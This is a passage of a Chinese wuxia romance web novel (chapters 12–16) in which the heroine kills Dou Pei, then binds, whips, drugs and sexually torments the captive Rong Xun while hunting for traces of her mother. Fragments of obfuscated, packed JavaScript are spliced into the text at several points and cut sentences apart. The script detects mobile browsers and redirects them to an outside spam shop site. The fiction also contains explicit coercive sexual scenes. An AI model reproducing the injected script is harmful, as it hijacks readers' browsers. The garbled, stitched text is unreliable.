而他,留在了鄣郡。 当夜之事,就算有容峋参与谋划,可最终出手之人......终究还是窦沛。 所以,窦沛此人——她今日必杀了。 窦沛功夫不算高,这么多年下来更少了出手的机会。常年坐镇于东姑坞的幕后,弹指之间就有无数人为之出动。用的心计多,功夫却是少之又少了。 这一剑来势汹汹,几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295736|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避无可避。 电光火石之间,窦沛直接抓起身旁的随从挡在身前。那侍从都没有反应过来,已经被一剑穿了心,双眼圆睁。只怕是至死都没有想到,跟随的掌事是如此轻易的就拿他抵了性命。 谢稚见杀错了人,眉头动都没有动,抽剑就要重新刺上去。 窦沛这一回反应迅捷的将那随从尸体照着女人面门扔去,跟着身子快速后撤,厉声道:“一起上!” 一声令下,东姑坞的人同时出手。 暗卫那头看向容峋:“公子,我们一起上吗?” 容峋目光久久的望向谢稚,女人受了伤,中了毒,可身形却不见丝毫停滞。长剑过处,一片血花。 男人凝眸摇头:“你们送臣生离开,我留下。” 暗卫一下子就急了:“公子!” “走吧!该说的,我刚同臣生都说过了。后面如何做,你们都听他安排。” “公子!!” “不要让我说第二遍。” 暗卫那头又瞧了容峋两眼,大手一挥,带着人转身就走。 谢稚虽然同东姑坞的人在交手,但是却没有忽视容峋这处。瞧见那些人离开,容峋一个人握着长剑稳稳站定,目光似在看着她,又似乎没有看她。 谢稚扫过一眼之后,清啸一声:“窦沛,万花庄之情已毕,你该偿命了。” 窦沛后退的脚步一顿,生生愣住:“什么万花庄?” 谢稚没有回答他,携剑直逼男人面门。这个瞬间,窦沛终于意识到了什么,大叫一声:“你是谢稚?你......” 话没有说完,谢稚已经彻底封了他的嘴。 大口大口的鲜血从窦沛嘴里吐出,他却像是没有意识一般,抬手抓向谢稚:“谢......谢......你没......”男人似乎知道自己不行了,闭了闭眼道:“你......你的......娘亲......” 谢稚凝眸看了过去:“怎么了?” 容峋在身后幽幽一叹:“听说窦掌事年轻时候也曾是谢夫人的追求者,后来......不敌谢庄主赢得美人心。只可惜......红颜薄命。七年前,谢夫人一把火烧了庄子,随后吊死在正堂前面。当真是性情刚烈,不输男儿。” 窦沛目光颤抖的看向容峋,使劲摇了摇头,再次看向谢稚:“去......去长......” 这一回,话没有说话,人就彻底没了声息。 谢稚拔出长剑,窦沛整个人砰地一声倒在地上。东姑坞所有的人愣了半秒钟,紧跟着一哄而散。 谢稚拧着眉盯了窦沛的尸体瞧了片刻,转过身看向容峋:“什么意思?” 容峋扬了扬眉,面露不解:“什么?” 谢稚望着他冷笑一声,没有说话。可是下一秒,容峋脸色一变,刚刚缓下去的痛楚再次冲了上来,甚至比方才还要剧烈。 男人踉跄着后退了两步,后背靠在墙上才勉强稳住身形。 谢稚眸光含笑的一步步走了过去,一直停到男人身前,用剑尖挑起容峋下颌:“容峋,你知道什么?” 容峋动了动唇想要说什么,可是强烈的剧痛让他张唇就发出一声低哑的闷哼。他摇了摇头,面色苍白的咬唇道:“可是我说错了什么?” 谢稚温温柔柔的一笑:“容郎,你这副无辜的模样,当真像极了小白花。” 容峋抬眼看她,睫毛微颤如同扇动的蝶翼。 “可惜......我最不爱看你这个样子了。” 话音落下,剧痛和黑暗同时袭来,容峋直接昏了过去。 在昏迷的前一刻,容峋已经想到了再醒来的结果不太好。可是,却没有想到竟然会是这副情景。 密室昏暗,只有一点儿油灯在房屋中间闪烁,如同飘忽不定的命运。 容峋整个人被牢牢束缚在刑架上,双臂也被牛皮带捆在两端,紧致逼仄,不能动弹分毫。 “醒了?” 声音从黑暗处缓缓响起,随着这道声音一同而来的...... 还有一道鞭子的破空声。 13. 第 13 章 “唔......”这一鞭落在身上,没有一丝留情。 容峋闷哼一声,没有怒骂也没有求饶,反而低低笑了出来。 声音又沙哑又虚弱带颤,好听得紧。 谢稚扯了扯唇角,身子没有动,只是手臂一旋,又一鞭子甩了过去。 “唔......”比方才更加隐忍的一声闷哼响起,容峋终于出声了:“谢尊主这是在泄怒?” 谢稚没有回答他的问题,而是继续一下又一下的抽过去。 女人力道拿捏的很好,每一下都痛得彻骨铭心,但又不会将人痛晕过去。容峋没有得到她的回复,也不再出声了,只是仍旧时不时的溢出一声闷哼。 谢稚隐在黑暗中,一声没吭,只是如同暗夜中的潜伏者一动不动的观察目标对象,等待最后的致命一击。 男人一身白衣已经褴褛,露出肌肤之上的道道红痕。 甚是狼狈。 谢稚停了下去,双眸凝了过去,似是打量,也似是思考。 容峋安静的等了一会儿,再次出声:“怎么......嗯......”话没有说完,破空声再次而来。 这一下,来得突然也猛烈。鞭尾扫过了男人的下腹...... 男人的眼神终于变了,那声隐忍的闷哼经由喉咙也变得更加性感。 谢稚轻笑一声,终于从黑暗中迈出了步子。 “告诉我,你到底是什么人?” 女人的声音低柔,听不出丝毫的危险。 容峋眉眼弯了一瞬,目光含情:“如果我说了,谢尊主就放我一别两宽吗?” 谢稚呵了声,抬手又是一鞭落在男人腰侧:“不能。” “嗯......那说与不说,又有什么区别呢?” 谢稚一步步靠近,直到停在他的面前,慢慢握着鞭柄从胸口一路向下缓缓滑移:“区别在于,你可以过得舒服一些,或者......” 说到最后一句的时候,鞭柄直接抵住了那一处,随之轻轻碾动,轻声细语:“不那么舒服。” “唔......”离得近了,谢稚清楚无虞的看到了男人眼中深沉的欲望。 温和之下,是一眼看不到底的深渊。 谢稚很喜欢他这个样子,手下继续碾了碾,白色布料下透出一圈隐晦的深色。 “不过,瞧你这个样子,也未必觉得不舒服......是吗?” 容峋闭了闭眼,喘息片刻,妥协了:“谢稚,你应该听过京城的长宁郡王府,也就是先皇后的母家。” 谢稚眸光清亮的看着他,问出的问题也无辜而干脆:“容郎,你在吓唬我吗?” 容峋眸光一顿,看着她的目光颇为无奈:“一个已故皇后的破落户母家,如何......呃......谢稚......” 谢稚不想听了。这个人半真半假,滴水不漏,她既然给了点儿线索,剩下的......她自己会去查。 “通缉令怎么回事?”谢稚松了些力道,继续问他。 容峋喘息的声音越发沙哑,那一处布料的深色也越发扩散...... 他看向谢稚的眸光虽然仍有柔情,但是却多了些?丽的欲望,让整个人显得越发生动起来。他努力平息着呼吸,尽量平稳道:“虽然郡王府已经是破落户了,但是爵位还在......我占着嫡长子的位置,二弟若要即位终究名不正言不顺。前些日子遭遇埋伏失了内力,又同母亲留下的暗卫失联。就在这个时候,撞上了你......二弟的人找不到我,才想出了这样的主意。” 谢稚幽幽的看着他,一声不吭。 容峋诚恳的望了回去,声音里带了些许歉疚:“连累了花影和别巍两个人,我很抱歉。” 谢稚看着他轻笑了一声:“容峋,我就这样好骗吗?” 容峋诧异的愣了一下,摇头:“我没有......” “嘘......”谢稚轻轻嘘了一声,“你的话我不想听了。你总不肯对我说实话,那我只能一点一点的去敲......” 话音落下,女人后退一步,鞭子顺着男人的胸口落了下去。 这一来,来得突然而猛烈,容峋差一点儿没有忍住,眼中的杀意和欲望也没有忍住。 “就是这样的眼神。”谢稚低低笑着,饶有兴趣的打量着他,“你看,你明明想杀了我......做什么,还要那样温和同我讲话?” “谢稚!”这一声,容峋几乎是从牙缝中挤了出来。 谢稚垂眸望着那里,手腕转了转,轻笑道:“你说,它还能再接下一鞭子吗?” “你敢!”容峋眼眸通红,额角泛起青筋,所有独属于贵公子的平和雍容几乎都丢在了脑后。 这样的一个人,同记忆里的苏璟......越来越近了。 她喜欢这样濒临崩溃的容峋。 “我有什么不敢的呢?”谢稚微微勾着唇,一双清丽的眸子几乎勾成了狐狸的形状,媚意绝然,“毕竟如今你根本阻止不了我什么。” “容峋,这一次我只想让你明白一个道理......身处弱势之时,不要说这种根本撼动不了施暴者的话。只能,自取其辱。” 话音落下,等待已久的鞭子猛然落下。 “唔嗯......” 布料彻底湿了。 男人脸上露出从未有过的潮红、窘迫还有难辨的欲望和复杂杀意,融合在一起,谢稚一时不知道他到底想要什么了。 于是,她按着自己想要的去索取。 鞭子坠地,谢稚隔着布料握了上去。 那一瞬间,容峋眼中的空茫再次凝成了一根银针,直喇喇的刺向谢稚。 两个人彼此看着对方,谁也没有说话。 可是动作却在一步步加快,刑架跟着发出吱呀吱呀的声音。 就在再一次极限的刹那,谢稚抽手后退一步离开,笑意盈盈的看着他:“容峋,这一回你要什么?” 容峋目光沉沉的看着她,没有说话,只额头、脸颊、胸口......一片汗湿。 汗水混进被鞭打的伤口里,泛起刺人的痛意。 欲望到了迸发的边缘被刻意按了回去的感觉并不舒服,男人眼皮狠烈的跳动两下,沙哑出声:“过来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314573|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一声就这么轻易的说了出来,语气又轻又哑,还带了几分的诱哄。 谢稚迷恋的看着他这副模样,往前走了半步,手指抚过他的脸颊,最终落回到他的唇角,拇指反复摩挲了几个来回:“要我吗?” 容峋没有说话,只拿着黑黝黝的眸光瞧她。 谢稚一下子笑开了,身子旋转着退后:“可惜,晚了。” 她如同春日里翩飞的蝴蝶,在房间来回雀跃的翻着什么东西,最后“哈”的一声,找到了一个通体黝黑的细颈瓶。女人重新折回到容峋的面前,捏着手中的瓶子问他:“你猜这是什么?” 容峋眉头微拧,瞧了一眼之后就去瞧谢稚:“不管是什么,你都确定要用在我的身上?” 谢稚眨了下眼睛:“是啊,你这次做的事情......我很不高兴。所以,本座才要给你一点儿小的惩罚。” 容峋抿了抿唇,不再说话,干脆利落的闭上了眼睛。 谢稚拇指弹开瓶塞,双指掐上他的下颌,逼他张开嘴:“容郎,请吧。” 容峋再是不想喝,如今也没了他选择的自由。 “啪嗒”一声,谢稚将整整一瓶都倒入了他口中,而后随意的扔到地上。 容峋被她这份蛮力灌呛了,重重咳了起来。 谢稚却不甚在意的瞧着他:“容郎,春宵一刻值千金,千金散尽......魂归来。” 不过一句话的功夫,药性似乎已经浮了上来。男人的面色通红,眸光胜水,双手成拳死死掐入了掌心。 “千金散虽然是个好东西,但是......用起来,却要命得紧。”谢稚目光留恋的望着他,手指轻轻擦过他的脸颊,薄唇,低头凑了上去,“我还舍不得你死,所以......” 女人剩下的话没有说完,已经含住了他的薄唇。 唇齿相依,这一次,容峋半是抗拒半是诚实的打开了唇舌,接纳她所有的侵入。甚至,已经学会了勾住女人的舌头吮吻吞咬,在空气里留下一连串的喘息。 谢稚被他吻得心都有片刻的柔软,可是软到了极致的时候,牙齿猛地一用力,将人重重咬了一下,重新退了出去,含笑看他:“这么着急?” 容峋的凤眸之中再不见一丝一毫的惺忪笑意,只剩下火一般的燎原之势:“过来。” 不同于方才那一声的诱哄,这一次的声音沙哑深沉,几乎将常年处于上位者姿态的命令语气尽数暴露。 谢稚被他叫得心尖一颤,越发兴味起来:“嗯。叫我过来做什么?” 容峋的身体如同烧起来一般,滚烫得厉害。他的脸色愈红,眼眸的颜色就愈黑,先前的琥珀色清朗模样早已经被染成了纯黑的墨。 “他亲你这里了吗?” 谢稚愣了一下,没想到他会突然问了这样一个问题。可是顺着他的目光,谢稚低头瞧了一眼,从胸口位置的吻痕,一路延伸向上...... 隔了这么段时间,那些用力留下的吻痕已经成了深红的胭脂色。 谢稚低笑了一声,手指摸上他的薄唇,语气轻飘飘的:“怎么?亲都亲过了,现在才想起来问?” 14. [锁] [此章节已锁] 晏白得到默许,抱在女人腰间的手指越发收紧,唇齿贴在谢稚后颈细细碾磨。 谢稚被身后的人抱着,可是目光却一直看着前方。 容峋脸色明显不太好,潮红之外,暗色涌动。一双凤眸黑黝黝的望着她,纵有万千欲望,似乎也尽数压制在丘壑之下。 青山峥嵘如旧,不露分毫。 刚刚还按捺不住的欲望,好像一下子就消失不见了。 所以,方才那些虚弱也好,渴望也好......全是伪装。 一时之间,她突然很想知道这样一个人,究竟忍到什么时候才会露出真面目呢? 那张完美无缺的温和之下,又会是怎样一张面孔? 冷漠?血腥?还是......同她一样的不堪入目? 她歪了歪头,翘起一丝微笑,安静的回望过去。 两个人的视线在半空中交汇,明明没有力道,却似乎撞出噼里啪啦的火花。 容峋没有说话,也不再发出那些难耐的呻丨吟,整张脸冷得不成样子,可是周身气息却炙热极了。一身衣衫早已经被汗水湿透,湿浸浸的贴在身上,露出似显非显的肌肉纹理。 谢稚目光如同羽毛一般有一下没一下的打量着他,可就在这个时候,眼前落下一片阴影,晏白的手掌挡住她的视线,唇下用力咬了一口女人侧颈:“主子,别看他。” 看不到容峋了,却更想看到他的反应了。 不过,她是一个有耐心的合格猎人。 她会一直等到猎物出声的那一刻,再出手的。 晏白的吻很热,也很急切。从脖颈位置慢慢延伸向上,一直到耳垂、耳后......晏白对于她的敏感点已经很熟悉了,像这种无伤大雅的、让她舒服的吮吻,她不介意任其蔓延。 “嗯......”谢稚轻轻发出一声低吟,声音不带半点儿克制。 晏白的吻停了一瞬,再一次加大了力度。他一边咬着,一边含混道:“主子,我们去隔壁好吗?” 谢稚身体舒服着,心神却没有一点儿混沌:“去隔壁做什么?就在这里不好吗?” 晏白抬着眼皮扫了眼容峋,男人低垂着头一动不动,已经不看他们了。 他重新低下头去,重重咬了女人一口,口是心非道:“主子觉得好,就好。” 即便是拿着他当作刺激容峋的手段,也行。 晏白不再说话,抬手落下手掌抱着人转了个身,将她抵靠在门扇之上,低头吻了下去。 因着上一次的事情,晏白没有直接亲吻女人红唇,免得再一次被踹出去。倘若当着容峋的面被踹,那他......会恨不得杀了容峋的。 晏白埋在她的胸口深吻,细细密密,又痛又痒。 不过谢稚没有功夫理会这个,她掀起眸子朝着容峋望去,被晏白捂久了的眼睛湿润润的,睫毛之上也凝出了细细碎碎的露珠,如玉珠泣露,分外可人。 谢稚本就生得白皙清秀,眉目如画,不过因着红唇艳丽的不太正常,加之行为喜怒无常,致使整个人总有一种莫名的诡异疯感。 可是现在安静下来的时候,就会忍不住猜想这样一个姑娘在年少时候又该是什么模样。 容峋或许感受到了她的目光,慢慢抬起头,重新望了过去。他的眸色又深又沉,红得吓人,额头青筋跟着跳动,雍容平和的面容彻底被粉碎,身体里所有的欲望也似乎在顷刻之间就会崩断。 可是他仍旧没有吭一声。似乎在这样的场合,这样第三者存在的空间里......他永远不会发出一声闷哼或者呻丨吟。 谢稚突然就被愉悦到了。 他到底还是肯在她这里服软。 千金散的滋味不好受,她知道。 她是要惩罚他,可不是要彻底废了他。 谢稚的目光梭巡到那一处,扬了下眉,没有说话,手指拍拍晏白的脑袋:“好了。” 晏白身子顿了一下,热吻一路从下吻上来,一直到鼻尖相碰,嘴唇似贴非贴的张口道:“主人,我难受。” “你疼疼我,好吗?” 晏白眼神委屈又清澈,他低垂着头专注看着人的模样,有些像万花庄养的那条大狗。 谢稚的目光中露出些许的怜惜,手指拍了拍他的脑袋:“明日十五。” 晏白眼睛一亮,视线从女人的嘴唇落回到双眸,在得到女人肯定的眼神之后,喉结忍不住滚动了一下:“那今天呢?” 少年的目光如有实质一般,紧盯着她的唇。 两个人已经亲密如斯了,可是亲吻却始终没有。说不上洁癖,只是......她会不由得想到那个夏天,趁着苏璟午休的时刻,那颗忐忑不安、震荡不停的心脏,还有那一份紧闭着眼睛,睫毛乱颤,一触即离的轻吻。 晏白瞧着她的面色,不再说话,低下头将吻老老实实的落在唇角,又气狠狠的咬了一口下巴,以示不满。 谢稚呵了声,放任了他的这一逾矩。 不过下一秒,她的目光就越过少年的肩头,再次望向容峋。 容峋沉默的时间很久了,那根绷紧的弦也越来越紧了。男人的整个身体似乎都在紧绷中发颤,汗滴如雨一般落到地上,明明没有多大的声音,听在耳中却如擂鼓。 或许这一秒,也或许下一秒......就会彻底崩断。 “好了,今天的可够了?”谢稚的语气虽然带着询问,可是目光已经完全落在了容峋身上。 晏白咬了咬牙,慢慢退开身去,又犹有不甘的望了女人一眼。 谢稚终于感受到这份幽怨,偏过头来冲他勾了勾唇,夸赞道:“乖,听话。” 于是,晏白眉眼舒展的转身离开了。 等人走了,谢稚才慢吞吞的回到容峋面前,手指捏上他的下颌:“容郎,还能忍得住吗?” 容峋双眼已经一片迷离了,几乎看不清面前的人。他张了张口,叫她......或者是在确认她:“谢稚?” 谢稚应了一声,贪恋的看着这张脸:“嗯。” “谢稚。”似乎是得到了女人肯定的反馈,这一回,容峋叫她叫得有些发狠。 谢稚不觉恼怒,却被他声音里的这个语调给迷惑住了。 谢稚双手抱住他的腰身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329673|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将额头贴在男人的心口,闭上眼安静聆听:“继续叫我。” 男人的身体滚烫得厉害,隔着那点儿湿透的衣衫,将温度和心跳一齐传入女人耳中。她忽然想到,自己过来的目的。 千金散......他要受不住了。 谢稚猛地睁开眼睛,抬头对上容峋的视线,那里山色深沉,海浪翻涌,被强制压下去的欲望千百倍的反噬回来了。 “谢稚,解开。”他直勾勾的看着她,声音哑得不成样子。 谢稚也没有躲闪,手指滑了下去:“解开这里吗?” “嗯......谢稚......” 谢稚手指慢慢动了动,眸光注视着他:“容峋,我有没有说过......今晚是惩罚。” “惩罚是没有得偿所愿的资格的。” “谢稚......”容峋没有她这份意定神闲的姿态,也好像没有听到女人这句话一般。他一遍一遍的叫她。他的声音里带着急迫,里面是更浓重的欲望。他知道她最喜欢听他喊什么,她要什么,他就给什么。 容峋看着她,声音压得很低,还带着几分压抑不住的喘:“谢稚,重一点儿。” “轻吗?” “嗯。”男人的眼神深深凝望着她,似是想要将人吞吃入腹一般。 谢稚轻笑一声,松开手,闲闲道:“千金散的折磨之处就在于......” “只能想,不能要。” 容峋双眼红得吓人,喘息声一下接着一下。喘了半响,他的眸光一点一点聚焦在女人红唇之上,咬着牙叫她:“谢稚!” 谢稚从来没见过他这副样子,如同九天之上的仙人彻底被拉入欲望之城,完成一场神与魔的末日颠倒。 谢稚眸色也跟着深了下去。 欲望是会传染的东西。不止他想,她也会想。 可是,满足了她的欲望......等同于满足了他的。那日的事情,没有结束。她舍不得杀他,那么就只能慢慢折磨惩罚他。哪怕中间,她自己也觉出几分不适,也在所不惜的。 谢稚仰着头,张开唇咬了上去。二人一经相碰,如同干柴碰到烈火一般,轰轰然的烧了起来。 鲜血淋漓的,可是没有一个人想着松开。这样也好, 谢稚不知道为什么,她不仅不讨厌同容峋亲吻,相反还迷恋着同他这样交换涎液的滋味。 他好烫。 哪里都烫。 口腔之中更是烫得如同熔炉一般,几乎将她整个人烫化了。 “谢稚,上来......”男人的声音沙哑得厉害,一点一点磨进耳朵里,将他最后几个字成百倍的放大,“坐上来。” 谢稚心漏了一瞬,剧烈跳动中往后退去,笑吟吟的望着他:“容峋,不可以哦。” 她蹲下身子点了一下那里,激起男人一连串的震颤和喘息。不过,女人的动作也仅止于此,她施施然的起身往后大步退去,星星点点的眸光如漆一般黑亮:“今晚我还有别的事,希望等我回来的时候......” 她的眸光往下一睇,笑得意味深长:“你已经结束了。” 15. 第 15 章 晏白看着女人出来,下意识松了一口气。不过再对上女人唇角的伤口,整个人又不太高兴了,凑上前拇指擦过她的唇角。 一下又一下,满脸漆黑,撇着嘴却什么话也不说。 谢稚好笑的推开他:“行了,该做正事了。” 晏白仍旧盯着她的唇角,怏怏道:“什么事?” 喻长辞说苏璟跟皇室关系匪浅,这个容峋又说自己是长宁郡王府的嫡长子。同样来自京城贵胄,又有着如此相近的容貌......这一切或许都不是偶然。 他们之间......可能还有着某种更深的联系。 最重要的是......窦沛临死前提到了她的娘亲,还让她去长...... 是长什么呢? 也是长宁郡王府? 那里,是曾留下了她母亲的什么东西吗? 她这些年身在江湖,心在无间地狱,眼里只有复仇二字。所谋所求,也不过让那些人血债血偿。因此,江湖武林盟调查甚多,但是京城朝堂和贵门之中......却是没有什么力量。 按理她该亲自去查,只是......她还得先把南边的事情处理了。 谢稚看向晏白,一字一顿道:“晏白,我需要你将京城各股势力以及长宁郡王府的所有事情都查个清楚。” 女人神情严肃认真,语气也不容置疑。 晏白听到了窦沛最后的那句话,也听到了容峋的说辞。所以,对于谢稚的这个要求并不疑惑,点了点头:“好。什么时候去?” “今天晚了,明早出发吧。” 晏白脸一下子拉了下来,绷紧了唇提醒她道:“明天十五。” 谢稚知道他的意思。她如今身上有蛊,每月十五都不得不需要一个男人。 从一开始的时候,她就选择了他。 方才,她也答应了他。 谢稚没想再放他鸽子。一个合格的领导,在给下属分配任务之前,也总会给一些甜头。 她嗯了一声:“最晚后天一早。” 晏白眼中的阴霾一下子散开,重新低下头去埋头亲吻女人的脖颈,愉悦极了。 “叫合欢过来看着他,你同我再去一趟东姑坞。” 晏白嗯了一声,回过头去看向窗户之上或明或暗的投影:“就这样放着他吗?” “方才激活了长生蛊,不会有事的。” 晏白眨了下眼睛,提议道:“需要属下再去看看吗?” 谢稚没有说话,只是斜了他一眼,示意他赶紧滚蛋。 晏白有些遗憾的看了眼窗扇上的阴影,转过身去找合欢了。 合欢,玉楼春的当家红牌。 也是小重山楼外楼在鄣郡的第三人。 这么些年来,她将目光只是落到喻长辞的身上。可如今看来,窦沛知道的......或许比喻长辞还要多。 可谢稚已经在窦沛的房间找三圈了。 从书房到卧室,每一方每一寸的砖瓦,她都翻遍了。 干干净净,什么都没有。 可越是干净,谢稚就越发觉得这个人不简单。 一个不声不响地把持着东姑坞所有事务的掌事,不可能无缘无故的在临终之时提到母亲的名字,还让她去一个叫长什么的地方。 并且,他在最后看向容峋的眼神里......好像还有一丝隐秘的戒备和恐惧。 他到底是什么人?除了东姑坞的掌事身份,他还在扮演着什么样的角色? 可是,他的居室里毫无破绽。 该有的,一切都有。 不该有的,半点儿都没有。 那天窦沛很明显想同她说一些什么事情,但是容峋他......故意岔开了话题。 容峋他知道什么,又不想让她知道什么? 都是关于她的母亲? 倘若窦沛作为母亲的倾慕者,知道一些事情也就罢了。可是容峋......一个京城的贵族子弟,他又怎么会知道她母亲的事情? 谢稚心脏忽然剧烈跳动起来,没有来由的,好像要抓住了什么,却又因为没有线索随风而逝。 她的母亲......留下了什么秘密吗? 当年万花庄之事的全部真相?还是...... 谢稚眸光瞬间变得明亮犀利:她的母亲,还活着? 这个念头冒上来的瞬间,谢稚只觉得压也压不下去了。 是啊,她都能活。 为什么母亲不能活下去。 或许是当年的门人易容成了母亲模样,将母亲送走。 一定是这样的。 不然,如何解释窦沛提了母亲的名字之后,就让她去长......长宁郡王府。 谢稚整个身体都开始颤抖起来,眼眶微微发红。七年了,对母亲的记忆其实已经有些模糊了。可是,单单母亲这两个字,单单她还活着这几个字,就让她几乎热泪盈眶了。 万花庄的谢夫人,名满江湖的第一美人,秦霜吟。姿容卓绝,性情温柔,如春水梨花,轻盈而优雅。整个江湖,找不到几个说她坏话的人。万花庄的人更是上下爱戴着她,她也井井有条的打理着庄内的一切。 在谢稚上蹿下跳的年纪里,母亲就是玩累了之后的一声叹息和带着馨香的温柔怀抱。 她是美丽的。也是精细的。 无论走到哪里,香气也跟着旖旎到哪里。 她的母亲,是天底下最完美、最温柔的母亲。 谁也比不过她的母亲。她也不能。 谢稚的目光变得悠长而深情,单单想到这个可能性,她的周身都颤抖起来。 “主子?” 晏白打断她的思路,脸上露出些许的疑惑和担心。 谢稚回过头来,看着他又像没有在看他:“如果你有一个秘密,你想将它藏起来。你会藏在哪里?” 晏白眨了下眼睛,将手中的长剑一举:“剑鞘里。” 谢稚:...... 谢稚换了个问法:“如果你同一个人有着某种隐秘的关系,但是却不愿意让任何人知道自己同那个人的关系。你会将她的东西放在哪里?” 晏白抿了抿唇:“剑鞘里。” 谢稚:......她就不该问他。 谢稚转过身去,不想再理会他。晏白看着她的面前,突然道:“主子,我或许知道在哪里了。” “嗯?” 晏白直接抬步朝着书桌走去,桌上东西一览无余,笔墨纸砚简单整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336089|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洁。他们已经检查了数遍,仍旧不见任何端倪。可是这一次,晏白直接走到笔架面前,抬手在几根毛笔之间来回滑动片刻,最后摘出一根笔身最为滑润的紫檀狼毫。他上下打量了一番,捻动尖端,不一会儿竟然真的从中空的笔身之中找出了一条卷了的信条。 谢稚:...... 在藏东西这事上,晏白居然能和窦沛这个老狐狸同步。 不过,谢稚没有多余心情揶揄,她接过那已然泛黄,似乎有些年头的纸张慢慢打开。 上面很简单,只有八个字:万花庄内一切就绪。 谢稚瞬间愣住了。 这个字,她不陌生。 不仅不陌生,甚至还极度的熟悉。 这是苏璟的字。 当年,她曾一度偷了他抄写的经书,拿去临摹。至今,她的笔迹之中都有七分相似。 她一个字一个字来回的看,不知道看了多久......最终,她将纸张攥入掌心,化成了细灰。 窸窸窣窣,从指缝间泄下。 “再找。”谢稚面上没有什么表情,声音也很平淡。 晏白却敏锐地意识到她的心情已然坏到了极点,于是低头再次找了起来。可惜,再没有找到其他有用的东西。 如果当年万花庄之事,是苏璟给窦沛传了消息。那么,窦沛又在其中充当了什么样的角色? 苏璟、窦沛、容峋还有母亲...... 这四个人究竟有着什么样的关系? 苏璟,苏璟...... 万花庄众人敬仰的大师兄,父亲最为得意的弟子。他又是为什么呢? 无功而返。 谢稚的心情彻底落入冰点。 可是容峋却如同在火山之中煎熬了数年之久,烧得整个人不成样子了。 谢稚居高临下的望着他,这个人留在她的身边到底为着什么? 如今苏璟、窦沛死了,而母亲下落不明,甚至有活着的可能。 若要解开这几个人中间的谜团,只能从他的身上下手了。 男人似乎已经昏过去了,头垂在一侧,眉头紧蹙,好像也在昏睡中也不安稳。 谢稚摸上他的脸颊,眸光凉薄,可是声音却低缓温柔:“容峋?” 容峋没有任何反应。 谢稚垂头瞧了一眼他那里,肿胀得有些夸张。 她的手指一点点下滑,从脸颊落下,一路胸膛、下腹...... “唔......”容峋终于给出了下意识的反应,他猛地仰起头,拉长的下颌线瞬间紧绷,露出脖颈间轮廓分明的喉结。 谢稚没有说话,手指一点一点的加重力道。 容峋的声音越来越性感,也越来越急切和难耐。他终于看清楚了眼前的人,眸光一下子凶狠起来:“谢稚。” 谢稚嗯了一声,红唇轻启,动作却没停止:“很乖。在等我回来吗?” “嗯......谢稚......”容峋没有回答她这个问题,只是目光紧紧盯着她的眼睛,喘息声一下重过一下,“谢稚,谢稚......我好难受......” 谢稚被他叫得心魂震荡,眼睛眨也不眨地看着他:“容峋......你认识苏璟吗?” 16. 第 16 章 容峋所有的动作都倏然停了下来,谢稚却更加用力了几分,看着他轻飘飘道:“你知道苏璟是谁吗?” “嗯......”容峋闷哼一声,猩红的眸光中带了狠:“我不是苏璟。” 谢稚笑了:“我知道。” “我在问你,你知道苏璟是谁吗?” 容峋闭上眼,胸膛剧烈起伏:“难道谢尊主不比我知道的清楚?” 谢稚轻笑一声,重新松开手:“我若真的清楚他,就不会如今这副模样站在你的面前了。” 容峋狠狠喘了两声,垂眸看着那一处:“过来,继续。” 男人的声音沙哑,无端多了几分上位者的命令姿态。 谢稚扯了扯唇角,没有理会他,转身坐到梳妆台前,安静的拆除钗髻。 身后刑架剧烈震荡起来,谢稚从镜中斜了一眼,仍旧捆得牢固。 这是玉楼春中一些针对特殊需求的客人,特意制作的。 牢固得很。 谢稚卸去所有钗环,又脱下外衫扔到椅子上,只着一身素衣转去温泉池。转过去的时候,连眼风都没有给容峋一个。 容峋却被这三番两次的不上不下弄得越发凶狠了。 “谢稚......” 谢稚掬起一把温水,从高处哗啦啦的落下,带起一连片的涟漪。 “谢稚!”容峋的声音有些急,刑架带起的动作也越来越大。 谢稚全当没有听到叫声一般,将整个后背靠在池边,双目迷蒙的看着头顶上方:“容峋,我的母亲......还活着吗?” 这一声低不可闻,微弱得刚一出口就随着泉池上方的水雾散开了。 她原本想着将人留下,不过是为着一个念想罢了。 